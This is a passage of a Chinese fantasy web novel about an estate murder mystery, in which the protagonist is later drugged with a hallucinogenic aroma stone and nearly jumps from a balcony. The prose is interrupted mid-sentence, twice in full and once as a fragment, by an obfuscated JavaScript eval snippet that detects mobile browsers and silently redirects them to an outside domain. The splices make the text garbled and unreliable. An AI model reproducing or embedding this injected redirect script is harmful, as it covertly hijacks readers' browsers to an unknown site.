尤茵反应过来白佳果仅仅是在家里住了几天的客人，连忙道：“是我该向你道歉才对，夫人她……她没有自己的孩子，所以一直在找继承人，那些家伙便是因此得到夫人的资助，可惜他们家的孩子表现不怎么好，令夫人感到很失望。” 白佳果有些不明白：“弥蕴珐夫人不是还有妹妹吗？” 都说她们姐妹俩关系很好，妹妹又是半魔族，难道不是最好的继承人人选？ 尤茵面露无奈：“确实，弥翁莉小姐才是夫人最在意的人，可弥翁莉小姐坚持要和她现在的丈夫结婚，为此夫人放过狠话，绝对不会给弥翁莉小姐留任何东西，免得弥翁莉小姐拿她的钱给那个男人花。可是弥翁莉小姐不在乎那些钱，她本身就是有名气的设计师，能养活自己。况且她跟夫人同母异父，她的父亲是相当有来头的魔族，即便没有夫人的遗产，她的生活也不会受到任何影响。” 所以这场姐妹矛盾完全没有到撕破脸皮的地步，弥翁莉会坚持自己的选择，也会在惹怒姐姐后努力修复这段姐妹关系，既然姐姐不想看到她的丈夫，她就不会让自己的丈夫出现在姐姐面前。 “可是……”白佳果迟疑道：“遗产留给弥悬，和留给她妹妹没什么区别吧。” 如果弥蕴珐老太太真的这么介意妹妹的这段婚姻，那应该不会让弥悬继承她的遗产，毕竟弥悬不仅是她妹妹的儿子，更是那个男人的儿子。 尤茵摇摇头：“她对弥悬很满意，我能看出来，可以在夫人面前随心所欲做自己的除了弥翁莉小姐就是他，我想不出别的可能。” 白佳果：“那你呢？” 尤茵愣住。 她的反应让白佳果发现自己可能说错了话，这个时候转移话题有点欲盖拟彰，白佳果只能硬着头皮继续说：“弥蕴珐夫人应该也会考虑你吧。” 尤茵陷入了短暂的沉默，随后她苦笑道：“我从未令夫人满意过。” # 调查持续到深夜。 庄园内很多地方都有监控，因此白佳果和空想雅虽然是发现遗体的人，但她们和管家一样，有充分的不在场证明。 她们可以按照原本的行程，在第二天中午乘坐航班离开，不过管家希望她们留下，参加弥蕴珐夫人的葬礼。 白佳果心说这可太地狱了，刚参加完生日宴就参加葬礼，还是同一个人的。 白佳果征询空想雅的建议，空想雅说听她的，无论是回家还是留下都可以，只一点，在凶手还没抓到之前，最好先从庄园搬出去。 “目前无人知晓凶手的来历和意图，如果他还藏在庄园里，我们谁都无法保证对方是否会继续杀人。” 空想雅说得有道理，于是当晚她们就搬去了酒店，并取消第二天的机票，留下参加老太太的葬礼。 这一晚，无论是为了什么，总之没有任何一个人的内心能够平静，就连看起来还算镇定的白佳果，也说还好搬来酒店，能和空想雅睡一个房间，不然她一定会失眠。 次日，白佳果是被尤茵来访的敲门声吵醒的—— 弥悬被警方带走了。 警方在弥悬房间窗户下面的花圃里找到了凶器，凶器上并无任何传送魔法残留的波动，且正对着书房阳台的监控录像有一段不见了，时间正好跟弥蕴珐老太太的死亡时间吻合，而在案发前后进入过庄园监控室的，除了值班人员，只有弥悬。 尤茵斩钉截铁：“不可能是他，他没有杀害夫人的动机！” 白佳果穿着睡衣坐在沙发上，因为刚洗漱完，头上的束发带还没摘。空想雅推来餐车，白佳果拿了杯温热的甜牛奶来喝：“嗯……可是只有这一点，没办法洗脱他的嫌疑。” 白佳果一口气喝了半杯，喝完手里被空想雅塞了一份热腾腾的卷饼，避免她空腹喝牛奶，造成身体不适。 早餐多叫了一份给尤茵，尤茵没吃，跟白佳果细说起她的怀疑。 “你还记得昨天我说不对劲的索林吗？” 白佳果：“……谁？” 尤茵用手在人中左右比划两下，白佳果想起来，“哦”了一声：是那个打扮用力过猛的八字胡男人。 尤茵：“我怀疑他早就知道弥悬会被人陷害，所以才这么从容。如果遗嘱中定下的继承人是杀害夫人的凶手，那么按照民法典第一千二百二十五条规定，弥悬将丧失继承权。而他们这些所谓的血亲，就能瓜分夫人的遗产。” 白佳果知道自己的重点可能有点偏，可听到有人直接在自己面前念法律条例，还详细到第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574203|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几条，她真的会忍不住想问：“你是学法律的吗？” 尤茵有一瞬间的愣怔：“不，我是魔法药剂专业的。” 白佳果闭了闭眼：“抱歉，我脑子还没醒，容易说些奇怪的话，你别在意。” 尤茵也道歉：“不是你的问题，是我太着急了。我没有别的人可以商量，他们——包括平时我认为心肠不坏的那些人，他们都在幸灾乐祸，哪怕弥悬曾经帮助过他们，我、我快气疯了，只能来找你。” 白佳果打起精神，努力驱散自己起太早导致的低气压，安抚道：“没事，你继续说吧，你刚刚说索林，还有吗？” 当然还有，尤茵告诉白佳果：“昨天中午一点钟，夫人把我叫去书房，我出来的时候看到了索林，他在我之后进的书房。” 白佳果他们是昨天下午三点，发现老太太的遗体。 因为管家说老太太想早点见她，只是一夜没睡，不得不推迟到下午，导致白佳果以为自己才是昨天第一个见老太太的人，原来老太太在准备见她之前，还见了别的人。 “如果是索林，他见过弥蕴珐夫人，警方不可能不调查他。”白佳果一边思考，一边啃卷饼，卷饼不大，很快就吃完了，她擦擦手擦擦嘴，提议：“要不要去问问管家先生？确定一下弥蕴珐夫人昨天除了你和索林，是不是还见过其他人。” 尤茵点头：“好。正好我也打算让阿诺跟监控室那边说一声，我想看昨天下午的监控，可我刚才去被监控室的人拒绝了，他们说话很难听，就好像认定了夫人不在我会被赶出庄园一样……” “唉，不说这些了。”尤茵打断自己的抱怨，问：“佳果，你能陪我一起去吗？” 尤茵坐在白佳果对面，发出请求时，尤茵的身体微微往前倾，面带恳求。 白佳果又闻到了那股好闻的味道，她点头答应，应完才想起空想雅，于是扭头问空想雅待会有没有别的安排。 白佳果并非一刻也离不开空想雅，只是她知道空想雅无论如何都会跟着她，确保她的安全，所以她不想太任性，让空想雅为了她改变自己原定的计划。 好在，空想雅说自己没有别的安排，而且她刚好需要去一趟庄园：“昨天突发意外，我们都把那条项链给忘了。” 白佳果：“啊，还真是。” 忘得一干二净。 尤茵的眼角轻轻抽动：“项链？” “青金湖里那条巡火银带鱼送了我一条项链，”白佳果拿过空想雅递来的常服，摘下束发带起身朝浴室走去：“我们把项链送去店里清洗了，还拜托那家店直接把项链送到庄园，现在那条项链应该还在庄园，得找管家先生问问。” “你说的那家店——”尤茵叫住浴室门口准备关门换衣服的白佳果：“是不是叫‘一枚发条’？” 白佳果点头：“就是那家，弥悬推荐的，是有什么问题吗？” 尤茵笑了笑：“没什么，那家店很好。” 白佳果知道，第一次去的时候空想雅就告诉她了，“一枚发条”看着普通，店主却是拥有一级工匠证书的锻造师，简直和路边小餐馆的厨师其实是米其林三星大厨一样令人惊讶，所以她的耳扣出现问题，空想雅才会第一时间想到拿去店里问一问。 白佳果关上浴室的门，空想雅替尤茵换掉已经凉下来的红茶，重新沏了杯热的。 尤茵看着杯口冒出的热气，出了会儿神，然后像是突然惊醒一般，对空想雅说：“谢谢。” 空想雅微笑着：“不客气。” 17.第十七章 因为弥蕴珐的骤然离世，庄园外出现了闻风而来的媒体记者。 尤茵开车带白佳果和空想雅从另一个门进入庄园，虽然能感觉到闪光灯，但好歹没有记者冲上来拦车，问一大堆有的没的。 她们找到管家时，管家站在书房门口，作为案发现场，门口的封条还没撤掉，老太太最喜欢的那张软椅还摆在原地，凝固变黑的血迹布满碎花软垫，顺着椅腿蔓延至地毯。 事情发生太过突然，管家需要应付的事情很多，多到只有那么片刻的休息时间，让他能暂停下来，缅怀自己已经不在人世的雇主。 “尤茵小姐，白佳果小姐。”察觉到身后有人靠近，管家转过身，一如往昔那般，朝她们问好。 尤茵气势冲冲地来，看到管家方才的身影，又有些不忍。 管家在弥蕴珐身边待了几十年，要说这世上谁最了解弥蕴珐，除了弥蕴珐的妹妹，大概就是他了。 “阿诺，我能理解你的心情。”尤茵安慰道：“如果有什么事情需要我来做，你随时可以找我。” “谢谢您的关心，尤茵小姐。”管家并不展示自己的脆弱，而是反过来问：“你们来找我，是有什么事情吗？” 尤茵：“我们想知道昨天除了我和索林，还有谁见过夫人，我们想弄清楚真相。” 管家的视线从尤茵转到白佳果，停顿两秒，道：“除了索林，还有落琦贝女士。” 白佳果努力回想，终于在前天晚上的宴会记忆里挖出一个蓝色的女人身影，对方特别喜欢蓝色，蓝色的衣裙，蓝色的珠宝，蓝色的指甲，就连口红都是蓝色的……不对，应该叫口蓝才对。 多亏了这抹令人印象深刻的蓝色，不然白佳果还得打断他们，问一问落琦贝女士是谁。 老太太最先见了尤茵，然后是八字胡索林，最后是蓝色的落琦贝。 三人见老太太的时间集中在一个半小时内。 也就是一点到两点半左右。 落琦贝进入书房时，管家看时间差不多，便前往白佳果的房间，带她来见老太太。 按理来说最后一个见到老太太的落琦贝嫌疑最大。 就连死亡时间也差不多在那个时候。 然而她本人因为魔力紊乱需要治疗，昨天早上吃下了控制药物，一整天都无法使用魔法。 她没能力杀害可以使用魔法的老太太。 以及凶器，那柄刺入老太太胸口的匕首，究竟是怎么从书房，跑到弥悬房间窗外的花圃里的？ 监控显示，落琦贝离开书房后去了娱乐室，再没离开过。 从书房到娱乐室，路线与去往弥悬的房间并不重合。 “会不会是他们联手？”尤茵问：“索林杀了夫人，带走凶器，落琦贝谎称她来时夫人还活着，同时自己也能因为吃了药没魔力而洗脱嫌疑。有没有这个可能？” 管家摇了摇头：“没有。” “为什么？！”尤茵不解。 管家：“因为落琦贝进入书房时，我就在门口，我能证明，夫人那时还活着。” 尤茵认定了索林和落琦贝就是凶手，得知自己的推测无法成立，她的反应非常大。 “你看到？你真的看到了吗！？你该不会和他们也是一伙的，你们所有人、所有人都联起手来想要杀了夫人嫁祸给弥……” “尤茵小姐，请您保持理智。”管家并不恼怒，只希望尤茵别太激动。 “你让我怎么理智！”尤茵嘶吼着，眼泪像掉了线的珠子不停往下落。 无论是管家还是白佳果，都能理解她此刻的悲伤与失控，毕竟死去的，是将她养大，如同母亲一样的存在。 白佳果轻轻搭上尤茵的肩膀，她担心尤茵太难过，会呼吸性碱中毒。 好在尤茵急促的呼吸并未持续下去，她抱住白佳果，和昨天刚得知老太太去世一样，痛哭出声。 清晨的光落在书房，照亮半边的书桌，同时轻轻地落在那张带血的软椅上。 等尤茵情绪稍稍平复，白佳果问：“去看监控吗？” 尤茵哽咽着擦掉眼泪，声音还带着哭腔，坚定道：“看！” 有管家在，监控室的人根本不敢阻拦，而先前不让尤茵看监控，还嘲讽尤茵的工作人员则被管家要求暂停工作，等确认尤茵反馈的情况属实后，可能会被开除。 奇妙的是，那人完全不为自己可能弄丢这份工作而难过，在承认自己所作所为的同时，态度相当硬气，完全不认为自己做错了什么。 白佳果见状，偷偷问管家：“我听说监控少了一段，有没有可能是监控室值班的人被凶手收买了？” 管家明白白佳果的意思：“警方调查过监控室的监控录像，没有异常，而且刚刚那个人，是昨天晚上到今天早上的班，昨天白天并不在。” 白佳果：“哦。” 监控室的主机被警方扣押，以保证证据链的完整性，目前还有警方的技术人员待在主机室，尝试恢复那段被删除的录像。 现在监控室用的是备用主机，昨天下午的监控录像在备用主机上有备份，可以直接查看。 她们从早上一直看到中午，书房内没有监控，只能从书房门口、书房阳台的监控，看到索林和落琦贝离开书房后的行动轨迹。 可以确认这两个人离开书房后都没有靠近过弥悬的房间，一举一动皆在监控之下。 期间管家离开过一次，去处理繁忙的事物，回来时，他发现白佳果她们正在看昨天下午其他人的行动路线，并在纸上写写画画。 之所以这么做，皆是因为尤茵对着某段录像说了句：“他怎么在那？又在找袖扣吗？” 白佳果看向尤茵所指的屏幕，发现宴会那晚，她们前往休息室附近遇到的青年再一次走过他们偶遇的走廊。 她们调取有青年出现的监控录像，发现对方只是前往另一间可以抽烟的休息室，在那玩手机玩了很久，一直待到管家发现老太太的尸体，要求他们都去会客厅为止 看起来没什么异常。 只是以他为开头，白佳果和尤茵又看了老太太其他亲戚在案发时的监控，这才看出问题。 ——两点到三点左右，这些人先后出现在不同的地方，都是走过一段路，抵达自己的目的地后就不动了。 巧合吗？ 她们整合这些人的行动轨迹，由熟悉庄园的尤茵绘制简略的楼层平面图，再用不同颜色的笔来画这些人走过的路线，发现这些人的轨迹看似寻常普通，实际总会在某一个地方重合，如同接力赛一般，一点点通往弥悬房间附近。 而接力的起点，是离开书房后的索林。 管家来时，她们差不多已经把图画完，将情况和猜测说明后，她们得出一个大胆的结论。 凶器是他们每个人分路段，一点点运走的，这样就能不留任何魔法痕迹，把凶器放到弥悬房间窗户下的花圃里，同时制造出一切都和他们没有关系的假象。 他们中有人藏得不好，一帧一帧地看，能看出是在某个地方藏东西或拿东西，甚至还有比较明显的接过对方手中物品的动作。 “搞不好真是他们所有人联合起来，策划了这场谋杀。” 白佳果说出这句话，语气很轻，内容很惊悚。 管家立马准备将这一发现告知警方，结果率先收到消息：老太太的那些亲戚，无论是在庄园内的，还是在庄园外的，都被警方逮捕了。 被抓的理由和白佳果她们猜测的一样—— 他们涉嫌联合杀害弥蕴珐夫人。 原来警方早就发现端倪，带走弥悬只是烟雾弹，目的是为了让那些真凶放松警惕露出更多马脚，方便警方确认到底有多少人参与其中。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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和精神饱满跑去接弥悬，顺带追问警方案件细节的尤茵不同，白佳果起得早，本就没睡够，吃完饭她整个人困得不行，管家便提议带她回之前在庄园的房间睡个午觉。 白佳果太困了，加上凶手已经找到，她便没有拒绝。 她又一次忘了项链的事情，好在空想雅记得，开口询问管家，那条由“一枚发条”送来的项链现在在哪里。 管家正想同她们说这个，先前尤茵在不好提，这会儿说正好：“项链在书房，警方搜查现场的时候拿走了，迟点应该能拿回来。” 白佳果：“怎么会在书房？” 管家：“‘一枚发条’的店主与夫人是旧相识，他认得这条项链，知道那是夫人的，所以当他得知要把项链送来庄园，便先入为主地以为，是要送到夫人手上。” 白佳果：“原来是这样。” 她说庄园的人收到项链怎么没有像之前那样，派个人拿到她房间门口，原来是送错地方了。 管家告诉白佳果：“夫人当时刚睡醒，看到项链后发了很大的火。” 白佳果：“……为什么？” 难不成那条项链很珍贵？确实，弥悬替她询问老太太的时候，打的是电话而不是视频，老太太只知道巡火银带鱼送了她一条湖底的项链，不知道是哪一条。要不她还是把项链还回去吧，不过老太太都不在了，也不知道她该还给谁。 白佳果困乏的脑子在短短片刻闪过各种乱七八糟的想法。 管家告诉她：“那是她送给尤茵小姐的项链，尤茵小姐不小心把它弄丢了。也是为此，夫人才会把尤茵小姐叫去书房问话。” 管家的话让白佳果想到了很多电影情节，她问：“她们吵架了？” 管家轻声叹息：“是的。” 生离死别前的最后一面，她们不欢而散。 18.第十八章 管家愿意说这么多，是希望能留下这条项链，还给尤茵。 虽然老太太死前还在生尤茵的气，说不管尤茵是不是有意把项链弄丢，项链已经给白佳果了，就不会再给她。可老太太已经不在，那条项链留给尤茵，也是个念想。 白佳果当然不会反对。 管家离开后，白佳果进房间休息。 空想雅在隔壁房间。 关上门，一室寂静，白佳果以为自己闭上眼就会睡着，没想到睡前的思绪会像脱缰的野马，纷繁杂乱。 来这之前她还在想，这座庄园的主人弥蕴珐夫人春天过完生日，冬天之前就去世了，现在才知道，原来是过完生日后的第二天就死于谋杀。 她这一个上午被尤茵带着，看似忙忙碌碌，实际什么都不做，警方也会发现真相。 所以上辈子没有她，警方同样没让弥悬被冤枉。 弥悬他会继承庄园吗？ 他继承了庄园，会把这里改成度假地？也不知道那条巡火银带鱼会不会换个地方住，不然就上辈子她看到的冰钓人数，带鱼怕是要被饿成带鱼干。 …… 白佳果快要睡着的时候，手机响了，是大伯打来的电话。 “你说快点，我好困，想睡觉。”白佳果快困疯了，一点没跟泛理客气。 泛理听她的，直入主题：“你给我买了什么？” 除了两个行李箱，白佳果的其他东西早在昨天上午就已经打包寄回家，魔法世界有传送阵，所以就连快递都快得令人发指，才一天就送到了。 其中一个快递是白佳果买给泛理的手信，索性就在快递收件栏上写了泛理的名字。 “香薰蜡烛，还有杯子……杯子是用来装蜡烛的，不是用来喝的……如果你非要拿来喝水，应该也可以……”白佳果的眼皮越来越重，她搓了搓脸，想让自己清醒一点：“不对，你的话，应该是拿来喝血。” “你怎么会想到给我送香薰？”泛理确实是来问杯子的用途，因为就在刚刚，他的生活助理将杯子拿去清洗消毒，刚放上杯架，就被他的另一个助理提醒这是香薰套装里放蜡烛的杯子。 两个人因为杯子的用途争论起来，泛理没他们这么无聊，可考虑到是白佳果的礼物，他认为有必要弄清用途，所以打了这通电话。 白佳果的声音越来越含糊：“出来玩，当然要买特产。” 如果她没记错，这边的特产就是具有各种功效的香薰蜡烛。 上辈子双胞胎还带她去了据说最好的店铺，这辈子那家店还没开，但她看到了差不多的产品，就买了。 泛理疑惑，他怎么不记得拥雪山的特产是香薰蜡烛？ 但听白佳果声音里满是困倦，他也没继续说下去：“没事了，你睡吧。” 白佳果“嗯”一声，闭上眼睛，这次她终于沉沉睡去。 大约是睡前说了些关于香薰的话题，白佳果在睡梦中想起了上辈子被双胞胎带去买香薰的记忆。 记忆零碎又抽象，有的是上辈子真实发生的，有的是梦里加工过的。 比如兄弟俩给她推荐各种味道奇怪的香薰，比如他们也曾讨论香薰杯子能不能用来喝水…… “没放过蜡烛的，应该可以喝吧？”白佳果看上一盒套装里的杯子，比起放蜡烛，她更想拿来装气泡水。 包装盒上还详细写了这一套香薰的功效。 作为魔法世界的产物，香薰的作用当然不仅限于放松神经帮助入眠，还有的特别奇怪，比如让人难过的悲伤气氛香薰，可以摆在葬礼上，还有让人害怕的，可以在看恐怖电影的时候点燃烘托气氛。 双胞胎告诉她，曾经有新闻，说一个女孩子家里进了小偷，女孩点了恐惧气氛香薰后藏在衣柜里，小偷自己被吓的跳窗逃跑出了车祸，当场身亡。 “效果这么厉害！可是都出人命了，不会被禁售吗？”白佳果问他们。 “所以在那之后，这个牌子的用料减轻了很多。” “不知情的情况下使用香薰，效果还是挺明显的，” “可你知道了是香薰造成的，效果就会大打折扣。”双胞胎一左一右揽着她的肩膀，凑到她耳边，不怀好意地诱惑她。 “叫上那渊，我们一起试试？” 白佳果果断拒绝：“我才不要帮你们吓唬那渊。” 把龙惹毛了，和双胞胎打起来还没什么，就怕他用看负心汉的眼神看自己，白佳果的良心可遭不住。 “真……【滋——】的吗？” 双胞胎的声音如同磁带卡壳一般，出现奇怪的扭曲和噪音。 白佳果瞬间毛骨悚然，猛地将搭在自己肩上的手臂甩开，转身看到双胞胎脸上不知什么时候戴上了画有夸张笑脸的白色面具，一同歪头看着她。 周围的场景迅速坍塌，双胞胎朝她伸手，她拔腿就跑，却根本跑脱不开，很快被他们抓住，让他们一左一右困在身前。 “佳果……” 【滋——】 “佳……果……佳……” 【滋——】 【滋——】 “不会……佳……” 画面在闪烁，白佳果推拒的手被他们抓住，诡异的面具近在咫尺，白佳果看向面具上的眼睛，骇然发现那双眼睛的眼球里挤着两个瞳孔。 白佳果猛地从噩梦中惊醒，大口大口呼吸着空气，彷佛慢一点会被憋死。 白佳果很早就知道，做噩梦惊醒的人不会像影视剧里演的那样，突然从床上坐起来。 就像她现在，别说坐起来了，想动一动不知道为什么会麻痹的手脚，都需要时间。 她的心跳快得像灌了两杯咖啡，可她没办法躺着等身体慢慢恢复，恐惧的情绪逼迫她从床上爬起来，想到桌边给自己倒杯水喝，好冷静冷静。 她不确定自己惊醒的时候有没有尖叫，应该是有的吧，不然门口不会这么快传来敲门声，一定是隔壁房间的空想雅听到了她的尖叫。 白佳果去开门，走到门前低了下头，看见几只扭动的触手从门缝里挤进来，察觉到她的注视后又猛地缩了回去。 白佳果像是被门把烫到一般，将手收回。 外面敲门的，真的是空想雅吗？ 白佳果迟疑，恐惧在心底攀升，犹如一双冰冷的手从背后扼住她的喉咙。 鬼使神差地，她将房间门反锁。 敲门声停顿了一下，再次响起时变得又重又急，同时还有野兽似的咆哮声，从门外传来。 白佳果连忙从门边退开，她打开落地窗来到阳台，三层的高度，她根本不可能下得去。 怎么办…… 白佳果想找点什么来保护自己，她摸到了腰侧那把大伯送她的黑金小手枪，还有口袋里的一颗水晶石头。 哪来的水晶石？她反手将石头塞回口袋，突然，脑子里一闪而过的灵感让她将石头又拿了出来。 她将石头放到鼻子前，果然闻到了很淡很淡的香味。 扩香石？ 她想到上辈子双胞胎说过的那个新闻，连忙把石头丢开。 她身上怎么会有这种东西？所以从刚刚开始，她所感受到的一切，都是扩香石的作用？和恐怖气氛香薰一个原理？ 白佳果愣愣地想着，门口一声巨响，吓得她浑身一颤。 门被人从外面暴力砸开。 出现在门口的空想雅满脸焦急，问她出了什么事，是不是遇到了危险，房间里还有没有其他人…… 【不知情的情况下使用香薰，效果还是挺明显的，可你知道了是香薰造成的，效果就会大打折扣。】 白佳果慢慢放松下来，所以现在是她知道了异常的源头，所以香味对她的影响变弱了？ 白佳果庆幸自己反应快，不然她真要被吓到像新闻里的小偷一样，被恐惧折磨到理智全失。 “阿……”雅。 白佳果的呼唤卡在喉咙里，她好像看到几只触手从空想雅的裤脚和领口缩回去。 白佳果的心又提了起来，视线忽明忽暗，表情紧张又担忧的空想雅在某个瞬间露出了撕裂到耳根的嘴角，再一眨眼，一切又都恢复正常。 面前这个人，真的是阿雅吗？ 不是说只要知道是香味在作祟，效果就会大打折扣吗？ 现在还这样，是不是说明，一切都是真的？ 白佳果再一次后退，看着空想雅的表情难掩恐惧。 “别过来！！”白佳果举起枪，没怎么思考就开了一枪，将空想雅身前的防御结界打碎，同时子弹偏离了弹道，从空想雅的脸侧擦过。 白佳果手忙脚乱地爬上了栏杆，周围的一切都在扭曲，她分不清到底什么是真的，什么是假的。 如果是假的，她现在和中了幻术没差别。 如果是真的，她好像一点办法也没有，她能做什么呢，她又不会魔法。 跳下去吧，白佳果看着栏杆外的地面，反正都是死路一条，跳下去，还能快点结束…… 白佳果颤抖着，脑子糊成一团，视线逐渐模糊。 【专注。】 混乱中，朽教授的声音突然闯进她的脑海。 【有个很简单粗暴的办法，可以判断你是否中了谁的幻术——】 【专注。】 【然后问问自己，“你在干什么？”】 【回忆你平时遇到同样的情况，是否会这么做，你当下的行为，是否正常。因为幻术不仅会构造出虚假，还会影响你的大脑判断，让你做出平时不会做的蠢事。】 【这是幻术的优点，也是缺点。】 白佳果看向投鼠忌器不敢靠近的空想雅，对方悄无声息地朝她用了魔法，却因为她身上的防御用品太多而无效，她能感觉到。 所以，她在干什么？ 先不说她不是那种会用死来逃避现实的性格，就说她身上多到连发带都绣满防御咒文的条件，为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594092|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么会想到要跳下去，她手中甚至还有枪。 这简直跟她上辈子被人用幻术骗上高楼一模一样。 人总不能在一个坑里摔两次，对吧。 白佳果强迫自己从栏杆上下来。 她的动作很僵硬，她还在恐惧，她让自己坐到地上，逼自己不要做任何事情，可却怎么都松不开紧握着枪的手。 直到空想雅靠近，替她把枪从手里拿走，轻轻将她拥住。 “没事了，佳果小姐。” # 魔法世界确实很便利，白佳果心想。 在她脱离气味的影响，逐渐恢复正常后没多久，她大伯便从帝都赶了过来。 彼时管家请来的天族医生正在为她做最后一次身体检查——空想雅把庄园房间的门给砸了，她又开了一枪，动静这么大，管家不可能不知道，只是来得太慢，等他赶到，白佳果已经被空想雅安抚好，抱到了床上。 管家请来的天族医生很快给出诊断，确定白佳果摄入了有致幻效果的药物。 而那枚嫌疑最大的扩香石，则被空想雅找回，用药品级密封袋装好，叠加多个魔法确保袋中物质保持原样不再变化。 管家提出把石头交给警方检测，还得留在白佳果身边的空想雅拒绝了，直到泛理出现，她才拿出石头，交给泛理。 目前的情况就是，空想雅坐在床边，白佳果坐在床上，做完检查也不肯躺下好好休息，而是整个人靠着空想雅。 泛理坐在床边的椅子上，天族医生表示白佳果的身体已经没有大碍后，管家将其带出去，礼貌地给他们留出了说话的空间。 泛理打量那枚密封袋中的扩香石，石头本身很普通，就是未经打磨的白色水晶，没有任何刻纹，仅仅是滴在上面的精油有问题。 泛理将扩香石往后递给随行的助理，又让跟着一块来的家庭医生再给白佳果做了次检查。 “感觉怎么样？”泛理问白佳果。 白佳果脸色苍白，从神态上能看出她很疲惫，却还是硬打起精神，不敢闭上眼睛睡一觉。 她的状态很不好，听到提问想了一会儿，开口嗓音沙哑，回答的内容倒是很有她的风格：“活着。” 泛理毫不吝啬地夸奖她：“很不错。” 白佳果笑了，她继续说道：“我识破了幻术，没有被幻术蛊惑从三楼跳下去。” 泛理继续夸她：“做得很好，很厉害。” “对吧，我也这么认为。”白佳果靠着空想雅，一向明媚的笑容因为状态欠佳，显得格外虚弱：“不过我还是不敢睡觉，等我缓过来就好了，很快的。” 泛理伸手，替她把垂落的发丝别到耳后：“好，不着急。” 猩红的血族竖瞳泛起幽光，白佳果缓慢地合了下眼，又合了一下，速度越来越慢，最后彻底闭上，陷入了沉睡。 白佳果睡醒已经是次日清晨，她已被带离庄园，此刻正在酒店套房的房间里，让被子裹着，睡得浑身都懒洋洋的。 空想雅坐在床边，握着她的手，给予她安全感。 泛理也还在，不过没坐在床边，而是坐在靠墙的沙发上，手中拿着一份刚送来的报告。 白佳果慢吞吞坐起来，安静许久，抬手捂脸：“你们不会在这陪了我一晚吧。” 泛理：“好些了吗？” 白佳果放下手，点了点头：“嗯。” 厚重的遮光窗帘被拉开，昏暗的房间霎时明亮起来，白佳果进浴室洗漱换衣服，出来注意到那份被泛理摆在桌上的报告，问：“这是什么？” 泛理将报告给她，上面详细写了从扩香石上提取的药物含有哪些成分，是否会对身体造成影响，有无成瘾性。 “药物具有挥发性，如果不是你提醒空想雅，告诉她那块水晶石有问题，让她及时把石头装起来，等药物挥发完，我们恐怕会以为这就是块普通的水晶，什么都查不出来。” 白佳果：“……你是发现我很喜欢被夸，所以才一个劲地夸我吗？” 泛理的视线往边上别了一下，又挪回来：“我只是在陈述事实。” 被夸得有点不好意思的白佳果：“我承认，我先前讨夸的行为是很明显，可那是因为我惊魂未定，所以很需要精神上的鼓励，平时不需要。” 泛理：“好。” 说回正题，白佳果继续道：“按照你刚刚的说法，对方有把握将我害死，然后还能全身而退？” 如果她没有重生，没有因为上辈子死于幻术而对幻术格外警惕，没有在上辈子听双胞胎说过关于恐怖气氛香薰的新闻，发现那块水晶石是扩香石。 对方得手的可能性非常大，就算空想雅将她救下，等发现她口袋里的水晶石也已经晚了，药效挥发干净，他们将对白佳果为何会中幻术毫无头绪。 “警方那边已经立案，目前那块水晶的来历还在调查。你有什么头绪吗？” 白佳果：“……嗯，稍微有一点。” 19.第十九章 弥蕴珐是塑日教的信徒，按照塑日教的传统，她的葬礼会在死后第三天举行。 也就是今天。 白佳果做完笔录，乘车去了教堂。 抵达时，牧师正在诵读赞美诗，进行祈祷。 教堂是弥蕴珐出资修建的，巨大的建筑恢宏华丽，白佳果看着教堂中央的神像，不可避免地愣在原地。 塑日教信奉时间女神，教堂里的神像自然也是时间女神像。 时间女神穿着古老的衣裙，头上披着轻纱，遮去闭合的双眼，手里捧着沙漏，和她在梦里见到的那个半破碎的女神像几乎一模一样。 牧师祈祷结束，由家属上前致辞，回忆弥蕴珐夫人的生平。 “一百二十一年前，我的姐姐弥蕴珐来到这个世界，当时我还未出生，但我听母亲说过，她出生在一个明媚的下午，远离了寒冬，家门外的树上长出新芽，花园里本该再等几天才开的花全开了——就连这个世界都在欢迎她的到来。” “……与她相熟的人都知道她的脾气，同样的，也知道她总能做出正确的选择。” “这些正确体现在她的成就和财富上，而比起列举这些，我更想告诉你们她是怎样一个善良而又慷慨的人……” 致辞人是弥蕴珐的妹妹弥翁莉。 她对弥蕴珐从小到大的经历如数家珍，她知道弥蕴珐人生最大的转折点在哪，也知道弥蕴珐遇到的最艰难的时刻是什么时候。 她娓娓道来，讲述了姐姐在人生转折点上的果敢与获得成功后的理智，也提到了姐姐面对困难一如既往的坏脾气与绝不言败的坚韧。 是的，弥蕴珐不是获得成功后才变得脾气差，她脾气一直很差。 听到这，便是管家也不禁露出了笑容，显然他和弥翁莉一样，都很愿意接受弥蕴珐的坏脾气。 弥翁莉在讲述的过程中，时不时就会冒出这样令人会心一笑的细节描述，可说得越多，在意识到被讲述的那个人已经离世后，感受到的悲伤就越大。 弥翁莉流着泪讲完，她的哀伤感染了很多人。 最后的告别到来，管家询问白佳果能否前往墓园，等弥蕴珐下葬后，他有事情想要告诉她——就是弥蕴珐来不及亲口告诉她的那件事。 泛理看向白佳果。 白佳果点了点头，并在管家告知墓园地址后，问了管家一个问题—— “弥蕴珐夫人真的没有收养尤茵吗？” 白佳果会这么问，是因为她经过昨天下午那场梦，终于想起来——上辈子的冬天，她和那渊几个来到庄园，曾经听说过关于庄园继承人的一些事情。 